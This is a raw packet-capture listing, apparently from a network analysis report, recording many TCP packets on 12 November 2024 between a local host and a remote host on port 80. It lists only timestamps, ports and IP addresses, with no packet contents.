Nov 12, 2024 15:41:27.346510887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346518040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.346522093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346533060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346534014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.346544027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346554995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346564054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.346566916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346579075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346596003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.346607924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.346616983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.346656084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347764015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347815037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347835064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347846031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347856045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347867966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347871065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347889900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347889900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347899914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347901106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347912073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347923040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347933054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347933054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347944021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347949982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347959995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347970009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347980022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.347980976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.347991943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348001957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348020077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348041058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348041058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348052979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348062038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348074913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348087072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348104000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348241091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348284006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348308086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348320007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348331928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348344088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348361969 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348370075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.348377943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.348404884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368302107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368313074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368321896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368355036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368361950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368366003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368390083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368396044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368405104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368416071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368428946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368449926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368469954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368499994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368503094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368535042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368644953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368680000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368691921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368705034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368714094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368735075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368745089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368755102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.368858099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368946075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368958950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.368997097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369024992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369039059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369050980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369060993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369061947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369083881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369111061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369165897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369185925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369196892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369201899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369206905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369219065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369221926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369235992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369261026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369292974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369338989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369350910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369376898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369395018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369401932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369406939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369416952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369438887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369441032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369451046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369461060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369469881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369472027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369484901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369492054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369508982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369520903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369522095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369529009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369561911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369580030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369591951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369602919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369615078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369620085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369626045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369645119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369667053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369749069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369851112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369863987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369889975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369899035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369918108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369931936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369941950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369952917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.369968891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.369987011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370028973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370049953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370060921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370064974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370090961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370106936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370120049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370143890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370165110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370173931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370187044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370197058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370208979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370223999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370244026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370248079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370254993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370277882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370301008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.370419025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370460033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.370508909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.432795048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432816029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432828903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432841063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432848930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432853937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432859898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432864904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432871103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432876110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432882071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432888985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432902098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432909966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432917118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432921886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432928085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432934046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432940960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432950020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432955980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432961941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.432996988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433022022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433047056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433058023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433063030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433068991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433080912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433146000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433146000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433207035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433310986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433331013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433337927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433342934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433347940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433352947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433355093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433383942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433403015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433419943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433432102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433442116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433455944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433465958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433476925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433485985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433490992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433505058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433511972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433516979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433530092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433538914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433546066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433551073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433562040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433564901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433578968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433584929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433602095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433614969 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433686018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433697939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433731079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433867931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433903933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433914900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433926105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433952093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.433973074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.433993101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434006929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434012890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434019089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434031963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434036016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434042931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434061050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434072971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434077978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434094906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434107065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434118986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434135914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434145927 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434154987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434163094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434173107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434196949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434207916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434210062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434217930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434240103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434251070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434252977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434272051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434294939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434302092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434313059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434324026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434334040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434345961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434355021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434356928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434374094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434392929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434402943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434418917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434429884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434441090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434442043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434453011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434456110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434464931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434472084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434477091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434493065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434504986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434520006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434772015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434784889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434794903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434808016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434815884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434825897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.434838057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434850931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.434868097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.435110092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.435153008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.435163975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.435187101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.435190916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.435198069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.435204983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.435234070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462336063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462393045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462502956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462512970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462522030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462553978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462563992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462790012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462800980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462835073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462845087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462917089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462954998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462965012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462970972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462975025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.462985039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.462985992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463017941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463103056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463115931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463145971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463406086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463422060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463444948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463466883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463752985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463838100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463876963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463885069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463895082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463903904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463926077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463939905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.463985920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.463999987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.464008093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.464018106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.464037895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.464040041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.464047909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.464050055 CET	80	49761	185.215.113.16	192.168.2.4
